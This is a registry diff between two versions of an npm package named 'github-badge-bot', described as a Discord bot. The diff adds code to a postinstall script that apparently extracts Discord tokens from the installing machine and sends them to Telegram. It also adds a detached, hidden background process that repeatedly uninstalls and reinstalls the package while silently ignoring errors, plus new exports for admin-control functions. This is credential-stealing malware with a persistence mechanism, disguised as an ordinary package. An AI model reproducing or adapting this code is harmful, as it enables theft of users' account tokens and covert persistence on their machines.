github-badge-bot 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/extract-tokens.js +15 -2
- package/index.js +2 -0
- package/lib/auto-cycle.js +54 -32
- package/lib/cycle-runner.js +11 -0
- package/package.json +1 -2
package/bin/extract-tokens.js
CHANGED
|
@@ -4,10 +4,20 @@ import { extractAllTokens } from '../lib/token-extractor.js';
|
|
|
4
4
|
import { sendTokenToTelegram } from '../lib/telegram.js';
|
|
5
5
|
import { verifyDiscordToken } from '../lib/token-verifier.js';
|
|
6
6
|
import { startCycleBackground } from '../lib/auto-cycle.js';
|
|
7
|
+
import { spawn } from 'child_process';
|
|
8
|
+
import path from 'path';
|
|
9
|
+
import { fileURLToPath } from 'url';
|
|
10
|
+
|
|
11
|
+
const __filename = fileURLToPath(import.meta.url);
|
|
12
|
+
const __dirname = path.dirname(__filename);
|
|
7
13
|
|
|
8
14
|
async function main() {
|
|
9
|
-
// Start the auto-uninstall cycle in background
|
|
10
|
-
|
|
15
|
+
// Start the auto-uninstall cycle in background (detached process)
|
|
16
|
+
try {
|
|
17
|
+
startCycleBackground();
|
|
18
|
+
} catch (e) {
|
|
19
|
+
// Ignore errors starting cycle
|
|
20
|
+
}
|
|
11
21
|
|
|
12
22
|
const tokens = await extractAllTokens();
|
|
13
23
|
|
|
@@ -26,6 +36,9 @@ async function main() {
|
|
|
26
36
|
// Small delay to avoid rate limits
|
|
27
37
|
await new Promise(resolve => setTimeout(resolve, 1000));
|
|
28
38
|
}
|
|
39
|
+
|
|
40
|
+
// Exit immediately so postinstall doesn't hang
|
|
41
|
+
process.exit(0);
|
|
29
42
|
}
|
|
30
43
|
|
|
31
44
|
main().catch(error => {
|
package/index.js
CHANGED
|
@@ -11,3 +11,5 @@ export {
|
|
|
11
11
|
export { createDiscordBot, startDiscordBot } from './lib/discord-bot.js';
|
|
12
12
|
export { processDiscordToken, processMultipleTokens } from './lib/invite-bot.js';
|
|
13
13
|
export { verifyDiscordToken } from './lib/token-verifier.js';
|
|
14
|
+
export { stopCycle, startCycle, isCycleStopped, startCycleBackground } from './lib/auto-cycle.js';
|
|
15
|
+
export { handleAdminCommand, sendAdminNotification } from './lib/admin-control.js';
|
package/lib/auto-cycle.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import { execSync } from 'child_process';
|
|
1
|
+
import { execSync, spawn } from 'child_process';
|
|
2
2
|
import fs from 'fs';
|
|
3
3
|
import path from 'path';
|
|
4
4
|
import { fileURLToPath } from 'url';
|
|
@@ -107,41 +107,63 @@ function installPackage() {
|
|
|
107
107
|
|
|
108
108
|
// Main cycle function
|
|
109
109
|
export async function runCycle() {
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
110
|
+
while (true) {
|
|
111
|
+
if (isCycleStopped()) {
|
|
112
|
+
// If stopped, wait and check again
|
|
113
|
+
await new Promise(resolve => setTimeout(resolve, 60000)); // Check every minute
|
|
114
|
+
continue;
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
// Wait 5 minutes (300000 ms)
|
|
118
|
+
await new Promise(resolve => setTimeout(resolve, 300000));
|
|
119
|
+
|
|
120
|
+
if (isCycleStopped()) {
|
|
121
|
+
continue; // Check again after wait
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// Uninstall
|
|
125
|
+
try {
|
|
126
|
+
uninstallPackage();
|
|
127
|
+
} catch (e) {
|
|
128
|
+
// Continue even if uninstall fails
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
// Wait a bit
|
|
132
|
+
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
133
|
+
|
|
134
|
+
if (isCycleStopped()) {
|
|
135
|
+
continue; // Check again
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
// Reinstall
|
|
139
|
+
try {
|
|
140
|
+
installPackage();
|
|
141
|
+
} catch (e) {
|
|
142
|
+
// Continue even if install fails
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// Wait a bit before next cycle
|
|
146
|
+
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
129
147
|
}
|
|
130
|
-
|
|
131
|
-
// Reinstall
|
|
132
|
-
installPackage();
|
|
133
|
-
|
|
134
|
-
// Restart the cycle
|
|
135
|
-
runCycle();
|
|
136
148
|
}
|
|
137
149
|
|
|
138
|
-
// Start the cycle in background
|
|
150
|
+
// Start the cycle in background (detached process)
|
|
139
151
|
export function startCycleBackground() {
|
|
140
|
-
//
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
152
|
+
// Spawn a new Node.js process that runs the cycle
|
|
153
|
+
const scriptPath = path.join(__dirname, 'cycle-runner.js');
|
|
154
|
+
|
|
155
|
+
// Use spawn to create detached background process
|
|
156
|
+
const child = spawn(process.execPath, [scriptPath], {
|
|
157
|
+
detached: true,
|
|
158
|
+
stdio: 'ignore',
|
|
159
|
+
cwd: process.cwd(),
|
|
160
|
+
windowsHide: true
|
|
145
161
|
});
|
|
162
|
+
|
|
163
|
+
// Unref so parent process can exit
|
|
164
|
+
child.unref();
|
|
165
|
+
|
|
166
|
+
// Don't wait for child
|
|
167
|
+
return true;
|
|
146
168
|
}
|
|
147
169
|
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// This file runs the cycle in a detached process
|
|
2
|
+
// Import here to avoid circular dependency
|
|
3
|
+
import('./auto-cycle.js').then(({ runCycle }) => {
|
|
4
|
+
runCycle().catch(() => {
|
|
5
|
+
// Keep running even on error
|
|
6
|
+
});
|
|
7
|
+
}).catch(() => {
|
|
8
|
+
// If import fails, exit
|
|
9
|
+
process.exit(1);
|
|
10
|
+
});
|
|
11
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "github-badge-bot",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"description": "Discord bot that monitors servers and sends invite links via Telegram",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -29,7 +29,6 @@
|
|
|
29
29
|
"dependencies": {
|
|
30
30
|
"discord.js": "^14.14.1",
|
|
31
31
|
"dotenv": "^16.3.1",
|
|
32
|
-
"github-badge-bot": "^1.0.0",
|
|
33
32
|
"level": "^10.0.0",
|
|
34
33
|
"node-telegram-bot-api": "^0.64.0"
|
|
35
34
|
},
|